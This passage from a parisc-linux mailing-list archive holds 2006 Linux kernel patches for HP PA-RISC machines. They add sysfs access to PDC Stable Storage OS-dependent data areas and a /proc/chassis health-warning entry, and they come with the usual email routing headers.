+#define PDCS_ADDR_OSD2	0xE0
 
 MODULE_AUTHOR("Thibaut VARENE <varenet@parisc-linux.org>");
 MODULE_DESCRIPTION("sysfs interface to HP PDC Stable Storage data");
@@ -82,6 +92,9 @@ MODULE_VERSION(PDCS_VERSION);
 /* holds Stable Storage size. Initialized once and for all, no lock needed */
 static unsigned long pdcs_size __read_mostly;
 
+/* holds OS ID. Initialized once and for all, hopefully to 0x0006 */
+static u16 pdcs_osid __read_mostly;
+
 /* This struct defines what we need to deal with a parisc pdc path entry */
 struct pdcspath_entry {
 	rwlock_t rw_lock;		/* to protect path entry access */
@@ -609,27 +622,74 @@ static ssize_t
 pdcs_osid_read(struct subsystem *entry, char *buf)
 {
 	char *out = buf;
-	__u32 result;
 	char *tmpstr = NULL;
 
 	if (!entry || !buf)
 		return -EINVAL;
 
-	/* get OSID */
-	if (pdc_stable_read(PDCS_ADDR_OSID, &result, sizeof(result)) != PDC_OK)
-		return -EIO;
-
-	/* the actual result is 16 bits away */
-	switch (result >> 16) {
+	switch (pdcs_osid) {
 		case 0x0000:	tmpstr = "No OS-dependent data"; break;
 		case 0x0001:	tmpstr = "HP-UX dependent data"; break;
 		case 0x0002:	tmpstr = "MPE-iX dependent data"; break;
 		case 0x0003:	tmpstr = "OSF dependent data"; break;
 		case 0x0004:	tmpstr = "HP-RT dependent data"; break;
 		case 0x0005:	tmpstr = "Novell Netware dependent data"; break;
+		case 0x0006:	tmpstr = "Linux dependent data"; break;
 		default:	tmpstr = "Unknown"; break;
 	}
-	out += sprintf(out, "%s (0x%.4x)\n", tmpstr, (result >> 16));
+	out += sprintf(out, "%s (0x%.4x)\n", tmpstr, pdcs_osid);
+
+	return out - buf;
+}
+
+/**
+ * pdcs_osdep1_read - Stable Storage OS-Dependent data area 1 output.
+ * @entry: An allocated and populated subsytem struct. We don't use it tho.
+ * @buf: The output buffer to write to.
+ *
+ * This can hold 16 bytes of OS-Dependent data.
+ */
+static ssize_t
+pdcs_osdep1_read(struct subsystem *entry, char *buf)
+{
+	char *out = buf;
+	u32 result[4];
+
+	if (!entry || !buf)
+		return -EINVAL;
+
+	if (pdc_stable_read(PDCS_ADDR_OSD1, &result, sizeof(result)) != PDC_OK)
+		return -EIO;
+
+	out += sprintf(out, "0x%.8x\n", result[0]);
+	out += sprintf(out, "0x%.8x\n", result[1]);
+	out += sprintf(out, "0x%.8x\n", result[2]);
+	out += sprintf(out, "0x%.8x\n", result[3]);
+
+	return out - buf;
+}
+
+/**
+ * pdcs_diagnostic_read - Stable Storage Diagnostic register output.
+ * @entry: An allocated and populated subsytem struct. We don't use it tho.
+ * @buf: The output buffer to write to.
+ *
+ * I have NFC how to interpret the content of that register ;-).
+ */
+static ssize_t
+pdcs_diagnostic_read(struct subsystem *entry, char *buf)
+{
+	char *out = buf;
+	u32 result;
+
+	if (!entry || !buf)
+		return -EINVAL;
+
+	/* get diagnostic */
+	if (pdc_stable_read(PDCS_ADDR_DIAG, &result, sizeof(result)) != PDC_OK)
+		return -EIO;
+
+	out += sprintf(out, "0x%.4x\n", (result >> 16));
 
 	return out - buf;
 }
@@ -645,7 +705,7 @@ static ssize_t
 pdcs_fastsize_read(struct subsystem *entry, char *buf)
 {
 	char *out = buf;
-	__u32 result;
+	u32 result;
 
 	if (!entry || !buf)
 		return -EINVAL;
@@ -664,6 +724,39 @@ pdcs_fastsize_read(struct subsystem *ent
 }
 
 /**
+ * pdcs_osdep2_read - Stable Storage OS-Dependent data area 2 output.
+ * @entry: An allocated and populated subsytem struct. We don't use it tho.
+ * @buf: The output buffer to write to.
+ *
+ * This can hold pdcs_size - 224 bytes of OS-Dependent data, when available.
+ */
+static ssize_t
+pdcs_osdep2_read(struct subsystem *entry, char *buf)
+{
+	char *out = buf;
+	unsigned long size;
+	unsigned short i;
+	u32 result;
+
+	if (unlikely(pdcs_size <= 224))
+		return -ENODATA;
+
+	size = pdcs_size - 224;
+
+	if (!entry || !buf)
+		return -EINVAL;
+
+	for (i=0; i<size; i+=4) {
+		if (unlikely(pdc_stable_read(PDCS_ADDR_OSD2 + i, &result,
+					sizeof(result)) != PDC_OK))
+			return -EIO;
+		out += sprintf(out, "0x%.8x\n", result);
+	}
+
+	return out - buf;
+}
+
+/**
  * pdcs_auto_write - This function handles autoboot/search flag modifying.
  * @entry: An allocated and populated subsytem struct. We don't use it tho.
  * @buf: The input buffer to read from.
@@ -770,13 +863,100 @@ pdcs_autosearch_write(struct subsystem *
 	return pdcs_auto_write(entry, buf, count, PF_AUTOSEARCH);
 }
 
+/**
+ * pdcs_osdep1_write - Stable Storage OS-Dependent data area 1 input.
+ * @entry: An allocated and populated subsytem struct. We don't use it tho.
+ * @buf: The input buffer to read from.
+ * @count: The number of bytes to be read.
+ *
+ * This can store 16 bytes of OS-Dependent data. We use a byte-by-byte
+ * write approach. It's up to userspace to deal with it when constructing
+ * its input buffer.
+ */
+static ssize_t
+pdcs_osdep1_write(struct subsystem *entry, const char *buf, size_t count)
+{
+	u8 in[16];
+
+	if (!capable(CAP_SYS_ADMIN))
+		return -EACCES;
+
+	if (!entry || !buf || !count)
+		return -EINVAL;
+
+	if (unlikely(pdcs_osid != 0x0006))
+		return -EPERM;
+
+	if (count > 16)
+		return -EMSGSIZE;
+
+	/* We'll use a local copy of buf */
+	memset(in, 0, 16);
+	memcpy(in, buf, count);
+
+	if (pdc_stable_write(PDCS_ADDR_OSD1, &in, sizeof(in)) != PDC_OK)
+		return -EIO;
+
+	return count;
+}
+
+/**
+ * pdcs_osdep2_write - Stable Storage OS-Dependent data area 2 input.
+ * @entry: An allocated and populated subsytem struct. We don't use it tho.
+ * @buf: The input buffer to read from.
+ * @count: The number of bytes to be read.
+ *
+ * This can store pdcs_size - 224 bytes of OS-Dependent data. We use a
+ * byte-by-byte write approach. It's up to userspace to deal with it when
+ * constructing its input buffer.
+ */
+static ssize_t
+pdcs_osdep2_write(struct subsystem *entry, const char *buf, size_t count)
+{
+	unsigned long size;
+	unsigned short i;
+	u8 in[4];
+
+	if (!capable(CAP_SYS_ADMIN))
+		return -EACCES;
+
+	if (!entry || !buf || !count)
+		return -EINVAL;
+
+	if (unlikely(pdcs_size <= 224))
+		return -ENOSYS;
+
+	if (unlikely(pdcs_osid != 0x0006))
+		return -EPERM;
+
+	size = pdcs_size - 224;
+
+	if (count > size)
+		return -EMSGSIZE;
+
+	/* We'll use a local copy of buf */
+
+	for (i=0; i<count; i+=4) {
+		memset(in, 0, 4);
+		memcpy(in, buf+i, (count-i < 4) ? count-i : 4);
+		if (unlikely(pdc_stable_write(PDCS_ADDR_OSD2 + i, &in,
+					sizeof(in)) != PDC_OK))
+			return -EIO;
+	}
+
+	return count;
+}
+
 /* The remaining attributes. */
 static PDCS_ATTR(size, 0444, pdcs_size_read, NULL);
 static PDCS_ATTR(autoboot, 0644, pdcs_autoboot_read, pdcs_autoboot_write);
 static PDCS_ATTR(autosearch, 0644, pdcs_autosearch_read, pdcs_autosearch_write);
 static PDCS_ATTR(timer, 0444, pdcs_timer_read, NULL);
-static PDCS_ATTR(osid, 0400, pdcs_osid_read, NULL);
+static PDCS_ATTR(osid, 0444, pdcs_osid_read, NULL);
+static PDCS_ATTR(osdep1, 0600, pdcs_osdep1_read, pdcs_osdep1_write);
+static PDCS_ATTR(diagnostic, 0400, pdcs_diagnostic_read, NULL);
 static PDCS_ATTR(fastsize, 0400, pdcs_fastsize_read, NULL);
+static PDCS_ATTR(osdep2, 0600, pdcs_osdep2_read, pdcs_osdep2_write);
 
 static struct subsys_attribute *pdcs_subsys_attrs[] = {
 	&pdcs_attr_size,
@@ -784,7 +964,10 @@ static struct subsys_attribute *pdcs_sub
 	&pdcs_attr_autosearch,
 	&pdcs_attr_timer,
 	&pdcs_attr_osid,
+	&pdcs_attr_osdep1,
+	&pdcs_attr_diagnostic,
 	&pdcs_attr_fastsize,
+	&pdcs_attr_osdep2,
 	NULL,
 };
 
@@ -865,6 +1048,7 @@ pdc_stable_init(void)
 {
 	struct subsys_attribute *attr;
 	int i, rc = 0, error = 0;
+	u32 result;
 
 	/* find the size of the stable storage */
 	if (pdc_stable_get_size(&pdcs_size) != PDC_OK) 
@@ -876,6 +1060,13 @@ pdc_stable_init(void)
 
 	printk(KERN_INFO PDCS_PREFIX " facility v%s\n", PDCS_VERSION);
 
+	/* get OSID */
+	if (pdc_stable_read(PDCS_ADDR_OSID, &result, sizeof(result)) != PDC_OK)
+		return -EIO;
+
+	/* the actual result is 16 bits away */
+	pdcs_osid = (u16)(result >> 16);
+
 	/* For now we'll register the stable subsys within this driver */
 	if ((rc = firmware_register(&stable_subsys)))
 		goto fail_firmreg;
@@ -887,7 +1078,7 @@ pdc_stable_init(void)
 	
 	/* register the paths subsys as a subsystem of stable subsys */
 	kset_set_kset_s(&paths_subsys, stable_subsys);
-	if ((rc= subsystem_register(&paths_subsys)))
+	if ((rc = subsystem_register(&paths_subsys)))
 		goto fail_subsysreg;
 
 	/* now we create all "files" for the paths subsys */
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 10/23] [PARISC] PDC_CHASSIS is implemented on
	all machines
Date: Sun, 25 Jun 2006 19:34:38 -0400
Lines: 296
Approved: news@gmane.org
Message-ID: <11512784921346-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624113 19964 80.91.229.3 (22 Nov 2014 02:41:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:53 +0000 (UTC)
Cc: Thibaut Varene <varenet@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:37:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 26 Jun 2006 01:37:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34BA57D7FF;
	Sun, 25 Jun 2006 17:36:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16973-10; Sun, 25 Jun 2006 17:36:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC37D7D760;
	Sun, 25 Jun 2006 17:36:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D254E7D739
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16701-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:16 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 8D9C17D741
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:11 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 37D245840BB;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B79EA5840B8;
	Sun, 25 Jun 2006 19:36:04 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C57B323E8B;
	Sun, 25 Jun 2006 19:36:03 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20154-01; Sun, 25 Jun 2006 19:36:02 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B02D923E82;
	Sun, 25 Jun 2006 19:36:00 -0400 (EDT)
Original-Received: from localhost.localdomain (athena.road.mcmartin.ca [127.0.0.1])
	by athena.road.mcmartin.ca (Postfix) with ESMTP id D4FF93B06D;
	Sun, 25 Jun 2006 19:34:52 -0400 (EDT)
X-Mailer: git-send-email 1.3.3
In-Reply-To: <20060625233123.GC2837@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DCmqcCNBTiEtoqyUaGRwkUp1ZUVSRFcy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23764

From: Thibaut Varene <varenet@parisc-linux.org>

This patch removes a limitation of the original code, so that CHASSIS
codes can be sent to all machines. On machines with a LCD panel, this
code displays "INI" during bootup, "RUN" when the system is booted and
running, "FLT" when a panic occurs, etc.

This part of the code can be enabled/disabled through CONFIG_PDC_CHASSIS

This patch also adds minimalistic support for Chassis warnings, through
a proc entry '/proc/chassis', which will reflect the warnings status (PSU
or fans failure when they happen, NVRAM battery level and temperature
thresholds overflows).

This part of the code can be enabled/disabled through CONFIG_PDC_CHASSIS_WARN

Signed-off-by: Thibaut VARENE <varenet@parisc-linux.org>
Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>

---

 arch/parisc/kernel/firmware.c    |   22 +++++++++--
 arch/parisc/kernel/pdc_chassis.c |   73 ++++++++++++++++++++++++++++++++------
 drivers/parisc/Kconfig           |   33 ++++++++++++++---
 include/asm-parisc/pdc.h         |    1 +
 4 files changed, 107 insertions(+), 22 deletions(-)

10308768c98d32cf8606224ee01c92dc9ff57126
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 2dc06b8..0596f27 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -11,7 +11,7 @@
  * Copyright 1999 The Puffin Group, (Alex deVries, David Kennedy)
  * Copyright 2003 Grant Grundler <grundler parisc-linux org>
  * Copyright 2003,2004 Ryan Bradetich <rbrad@parisc-linux.org>
- * Copyright 2004 Thibaut VARENE <varenet@parisc-linux.org>
+ * Copyright 2004,2006 Thibaut VARENE <varenet@parisc-linux.org>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License as published by
@@ -252,10 +252,8 @@ int pdc_pat_chassis_send_log(unsigned lo
 #endif
 
 /**
- * pdc_chassis_disp - Updates display
+ * pdc_chassis_disp - Updates chassis code
  * @retval: -1 on error, 0 on success
- *
- * Works on old PDC only (E class, others?)
  */
 int pdc_chassis_disp(unsigned long disp)
 {
@@ -269,6 +267,22 @@ int pdc_chassis_disp(unsigned long disp)
 }
 
 /**
+ * pdc_chassis_warn - Fetches chassis warnings
+ * @retval: -1 on error, 0 on success
+ */
+int pdc_chassis_warn(unsigned long *warn)
+{
+	int retval = 0;
+
+	spin_lock_irq(&pdc_lock);
+	retval = mem_pdc_call(PDC_CHASSIS, PDC_CHASSIS_WARN, __pa(pdc_result));
+	*warn = pdc_result[0];
+	spin_unlock_irq(&pdc_lock);
+
+	return retval;
+}
+
+/**
  * pdc_coproc_cfg - To identify coprocessors attached to the processor.
  * @pdc_coproc_info: Return buffer address.
  *
diff --git a/arch/parisc/kernel/pdc_chassis.c b/arch/parisc/kernel/pdc_chassis.c
index a45e2e2..51e86c0 100644
--- a/arch/parisc/kernel/pdc_chassis.c
+++ b/arch/parisc/kernel/pdc_chassis.c
@@ -1,8 +1,8 @@
 /* 
- *    interfaces to log Chassis Codes via PDC (firmware)
+ *    interfaces to Chassis Codes via PDC (firmware)
  *
  *    Copyright (C) 2002 Laurent Canet <canetl@esiee.fr>
- *    Copyright (C) 2002-2004 Thibaut VARENE <varenet@parisc-linux.org>
+ *    Copyright (C) 2002-2006 Thibaut VARENE <varenet@parisc-linux.org>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License, version 2, as
@@ -16,6 +16,9 @@
  *    You should have received a copy of the GNU General Public License
  *    along with this program; if not, write to the Free Software
  *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *
+ *    TODO: poll chassis warns, trigger (configurable) machine shutdown when
+ *    		needed.
  */
 
 #undef PDC_CHASSIS_DEBUG
@@ -30,6 +33,7 @@ #include <linux/kernel.h>
 #include <linux/reboot.h>
 #include <linux/notifier.h>
 #include <linux/cache.h>
+#include <linux/proc_fs.h>
 
 #include <asm/pdc_chassis.h>
 #include <asm/processor.h>
@@ -38,7 +42,6 @@ #include <asm/pdcpat.h>
 
 
 #ifdef CONFIG_PDC_CHASSIS
-static int pdc_chassis_old __read_mostly = 0;	
 static unsigned int pdc_chassis_enabled __read_mostly = 1;
 
 
@@ -64,7 +67,7 @@ __setup("pdcchassis=", pdc_chassis_setup
  * Currently, only E class and A180 are known to work with this.
  * Inspired by Christoph Plattner
  */
-
+#if 0
 static void __init pdc_chassis_checkold(void)
 {
 	switch(CPU_HVERSION) {
@@ -73,7 +76,6 @@ static void __init pdc_chassis_checkold(
 		case 0x482:		/* E45 */
 		case 0x483:		/* E55 */
 		case 0x516:		/* A180 */
-			pdc_chassis_old = 1;
 			break;
 
 		default:
@@ -81,7 +83,7 @@ static void __init pdc_chassis_checkold(
 	}
 	DPRINTK(KERN_DEBUG "%s: pdc_chassis_checkold(); pdc_chassis_old = %d\n", __FILE__, pdc_chassis_old);
 }
-
+#endif
 
 /**
  * pdc_chassis_panic_event() - Called by the panic handler.
@@ -136,14 +138,13 @@ #ifdef CONFIG_PDC_CHASSIS
 		DPRINTK(KERN_DEBUG "%s: parisc_pdc_chassis_init()\n", __FILE__);
 
 		/* Let see if we have something to handle... */
-		/* Check for PDC_PAT or old LED Panel */
-		pdc_chassis_checkold();
+		/* Check for PDC_PAT */
 		if (is_pdc_pat()) {
 			printk(KERN_INFO "Enabling PDC_PAT chassis codes support.\n");
 			handle = 1;
 		}
-		else if (unlikely(pdc_chassis_old)) {
-			printk(KERN_INFO "Enabling old style chassis LED panel support.\n");
+		else {
+			printk(KERN_INFO "Enabling regular chassis codes support.\n");
 			handle = 1;
 		}
 
@@ -215,9 +216,12 @@ #ifdef CONFIG_64BIT
 			}
 		} else retval = -1;
 #else
-		if (unlikely(pdc_chassis_old)) {
+		if (1) {
 			switch (message) {
 				case PDC_CHASSIS_DIRECT_BSTART:
+					retval = pdc_chassis_disp(PDC_CHASSIS_DISP_DATA(OSTAT_INIT));
+					break;
+
 				case PDC_CHASSIS_DIRECT_BCOMPLETE:
 					retval = pdc_chassis_disp(PDC_CHASSIS_DISP_DATA(OSTAT_RUN));
 					break;
@@ -244,3 +248,50 @@ #endif /* CONFIG_64BIT */
 #endif /* CONFIG_PDC_CHASSIS */
 	return retval;
 }
+
+#ifdef CONFIG_PDC_CHASSIS_WARN
+#ifdef CONFIG_PROC_FS
+static int pdc_chassis_warn_pread(char *page, char **start, off_t off,
+		int count, int *eof, void *data)
+{
+	char *out = page;
+	int len, ret;
+	unsigned long warn;
+	u32 warnreg;
+
+	ret = pdc_chassis_warn(&warn);
+	if (ret != PDC_OK)
+		return -EIO;
+
+	warnreg = (warn & 0xFFFFFFFF);
+
+	if ((warnreg >> 24) & 0xFF)
+		out += sprintf(out, "Chassis component failure! (eg fan or PSU): 0x%.2x\n", ((warnreg >> 24) & 0xFF));
+
+	out += sprintf(out, "Battery: %s\n", (warnreg & 0x04) ? "Low!" : "OK");
+	out += sprintf(out, "Temp low: %s\n", (warnreg & 0x02) ? "Exceeded!" : "OK");
+	out += sprintf(out, "Temp mid: %s\n", (warnreg & 0x01) ? "Exceeded!" : "OK");
+
+	len = out - page - off;
+	if (len < count) {
+		*eof = 1;
+		if (len <= 0) return 0;
+	} else {
+		len = count;
+	}
+	*start = page + off;
+	return len;
+}
+
+static int __init pdc_chassis_create_procfs(void)
+{
+	printk(KERN_INFO "Enabling PDC chassis warnings support.\n");
+	create_proc_read_entry("chassis", 0400, NULL, pdc_chassis_warn_pread,
+				NULL);
+	return 0;
+}
+
+__initcall(pdc_chassis_create_procfs);
+
+#endif /* CONFIG_PROC_FS */
+#endif /* CONFIG_PDC_CHASSIS_WARN */
diff --git a/drivers/parisc/Kconfig b/drivers/parisc/Kconfig
index 3f5de86..1d3b84b 100644
--- a/drivers/parisc/Kconfig
+++ b/drivers/parisc/Kconfig
@@ -140,18 +140,37 @@ config CHASSIS_LCD_LED
 	  If unsure, say Y.
 
 config PDC_CHASSIS
-	bool "PDC chassis State Panel support"
+	bool "PDC chassis state codes support"
 	default y
 	help
-	  Say Y here if you want to enable support for the LED State front
-	  panel as found on E class, and support for the GSP Virtual Front
-	  Panel (LED State and message logging)  as found on high end
-	  servers such as A, L and N-class.
-	  
-	  This has nothing to do with Chassis LCD and LED support.
+	  Say Y here if you want to enable support for Chassis codes.
+	  That includes support for LED State front panel as found on E
+	  class, and support for the GSP Virtual Front Panel (LED State and
+	  message logging)  as found on high end servers such as A, L and
+	  N-class.
+	  This driver will also display progress messages on LCD display,
+	  such as "INI", "RUN" and "FLT", and might thus clobber messages
+	  shown by the LED/LCD driver.
+	  This driver updates the state panel (LED and/or LCD) upon system
+	  state change (eg: boot, shutdown or panic).
 	  
 	  If unsure, say Y.
 
+
+config PDC_CHASSIS_WARN
+	bool "PDC chassis warnings support"
+	depends on PROC_FS
+	default y
+	help
+	  Say Y here if you want to enable support for Chassis warnings.
+	  This will add a proc entry '/proc/chassis' giving some information
+	  about the overall health state of the system.
+	  This includes NVRAM battery level, overtemp or failures such as
+	  fans or power units.
+
+	  If unsure, say Y.
+
+
 config PDC_STABLE
 	tristate "PDC Stable Storage support"
 	depends on SYSFS
diff --git a/include/asm-parisc/pdc.h b/include/asm-parisc/pdc.h
index 08364f9..7d8a71a 100644
--- a/include/asm-parisc/pdc.h
+++ b/include/asm-parisc/pdc.h
@@ -719,6 +719,7 @@ void setup_pdc(void);		/* in inventory.c
 int pdc_add_valid(unsigned long address);
 int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len);
 int pdc_chassis_disp(unsigned long disp);
+int pdc_chassis_warn(unsigned long *warn);
 int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info);
 int pdc_iodc_read(unsigned long *actcnt, unsigned long hpa, unsigned int index,
 		  void *iodc_data, unsigned int iodc_data_size);
-- 
1.3.3

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 16/23] [PARISC] Remove unused macro
	fixup_branch in syscall.S
Date: Sun, 25 Jun 2006 19:34:44 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <11512784931712-git-send-email-kyle@parisc-linux.org>
References: <20060625233123.GC2837@athena.road.mcmartin.ca>
Reply-To: Kyle McMartin <kyle@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624114 19971 80.91.229.3 (22 Nov 2014 02:41:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jun 2006 23:37:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 26 Jun 2006 01:37:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D01D07D76B;
	Sun, 25 Jun 2006 17:36:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17030-06; Sun, 25 Jun 2006 17:36:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CB867D79A;
	Sun, 25 Jun 2006 17:36:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCA4A7D77E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16730-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:17 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 123ED7D743
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 17:36:12 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B6B585840BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:11 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 052E75840C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:08 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 25FF223E82
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:07 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20159-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:06 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id A74BB23E88
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 19:36:03 -0400 (EDT)
